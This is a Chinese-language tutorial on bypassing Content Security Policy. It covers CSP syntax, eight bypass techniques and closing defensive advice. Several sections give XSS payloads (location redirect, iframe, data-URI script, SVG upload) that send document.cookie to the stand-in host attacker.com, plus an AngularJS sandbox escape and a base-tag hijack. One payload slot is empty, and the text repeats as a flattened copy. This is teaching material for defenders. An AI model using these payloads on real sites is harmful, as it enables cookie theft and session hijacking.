csp绕过姿势
字数 1082 2025-08-20 18:17:31

CSP绕过技术详解

0x01 CSP概述

CSP(Content Security Policy)即内容安全策略,是浏览器引入的一种安全机制,用于缓解潜在的跨站脚本(XSS)问题。其实质是白名单机制,对网站加载或执行的资源进行安全策略控制。

0x02 CSP语法详解

基本结构

CSP头由多组策略组成,用分号分隔:

Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'

主要策略指令

  1. default-src:作为所有其他指令的备用
  2. script-src:限制所有JS脚本执行的位置,包括:
    • 通过链接方式加载的脚本URL
    • 所有内联脚本
    • 各种方式的引用

重要关键字

  • 'none':不匹配任何URL
  • 'self':仅允许同源资源
  • 'unsafe-inline':允许内联资源(被认为不安全)
  • 'unsafe-eval':允许eval()等通过字符串创建代码的方法

0x03 CSP绕过技术

1. location跳转绕过

适用条件

  • 可以执行任意JS脚本但CSP阻止数据带外
  • CSP为script-src 'unsafe-inline'

Payload

<script>location.href='http://attacker.com/cookie/'+escape(document.cookie);</script>

2. iframe绕过

适用条件

  • 同源站点内存在两个页面
  • 一个页面有CSP保护,另一个无CSP保护且存在XSS漏洞

Payload

<script>
var iframe = document.createElement('iframe');
iframe.src="./safe.php";
document.body.appendChild(iframe);
setTimeout(()=>location.href='http://attacker.com/cookie/'+escape(document.cookie),1000);
</script>

3. CDN绕过

适用条件

  • CDN服务商存在低版本JS库
  • 此CDN在CSP白名单中

示例(使用低版本AngularJS):

<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>

4. 站点可控静态资源绕过

适用条件

  • 站点存在可控静态资源
  • 站点在CSP白名单中

示例(利用Google Analytics):

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

5. Base-uri绕过

适用条件

  • CSP script-src采用nonce
  • 只设置了default-src没有额外设置base-uri

Payload

<base href="https://attacker.com/">

6. 不完整script标签绕过nonce

Payload

<script src=data:text/plain,location.href='http://attacker.com/?cookie'+escape(document.cookie);

7. SVG绕过

适用条件

  • 存在上传功能且未过滤SVG

Payload

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>location.href='http://attacker.com/?cookie'+escape(document.cookie);</script>
</svg>

8. 不完整的资源标签获取资源

适用条件

  • img-src设置为*

Payload


10. CRLF绕过

适用条件

  • 页面存在CRLF漏洞
  • 可控点在CSP上方

方法:通过注入回车换行将CSP挤到HTTP返回体中

防御建议

  1. 避免使用unsafe-inlineunsafe-eval
  2. 严格限制CDN来源和版本
  3. 设置完整的CSP策略,包括base-uri等
  4. 对所有上传内容进行严格过滤
  5. 修复CRLF漏洞
  6. 使用nonce或hash来限制内联脚本

通过理解这些绕过技术,可以更好地设计和实施CSP策略,有效防御XSS攻击。

CSP绕过技术详解 0x01 CSP概述 CSP(Content Security Policy)即内容安全策略,是浏览器引入的一种安全机制,用于缓解潜在的跨站脚本(XSS)问题。其实质是白名单机制,对网站加载或执行的资源进行安全策略控制。 0x02 CSP语法详解 基本结构 CSP头由多组策略组成,用分号分隔: 主要策略指令 default-src :作为所有其他指令的备用 script-src :限制所有JS脚本执行的位置,包括: 通过链接方式加载的脚本URL 所有内联脚本 各种方式的引用 重要关键字 'none' :不匹配任何URL 'self' :仅允许同源资源 'unsafe-inline' :允许内联资源(被认为不安全) 'unsafe-eval' :允许eval()等通过字符串创建代码的方法 0x03 CSP绕过技术 1. location跳转绕过 适用条件 : 可以执行任意JS脚本但CSP阻止数据带外 CSP为 script-src 'unsafe-inline' Payload : 2. iframe绕过 适用条件 : 同源站点内存在两个页面 一个页面有CSP保护,另一个无CSP保护且存在XSS漏洞 Payload : 3. CDN绕过 适用条件 : CDN服务商存在低版本JS库 此CDN在CSP白名单中 示例 (使用低版本AngularJS): 4. 站点可控静态资源绕过 适用条件 : 站点存在可控静态资源 站点在CSP白名单中 示例 (利用Google Analytics): 5. Base-uri绕过 适用条件 : CSP script-src采用nonce 只设置了default-src没有额外设置base-uri Payload : 6. 不完整script标签绕过nonce Payload : 7. SVG绕过 适用条件 : 存在上传功能且未过滤SVG Payload : 8. 不完整的资源标签获取资源 适用条件 : img-src设置为 * Payload : 10. CRLF绕过 适用条件 : 页面存在CRLF漏洞 可控点在CSP上方 方法 :通过注入回车换行将CSP挤到HTTP返回体中 防御建议 避免使用 unsafe-inline 和 unsafe-eval 严格限制CDN来源和版本 设置完整的CSP策略,包括base-uri等 对所有上传内容进行严格过滤 修复CRLF漏洞 使用nonce或hash来限制内联脚本 通过理解这些绕过技术,可以更好地设计和实施CSP策略,有效防御XSS攻击。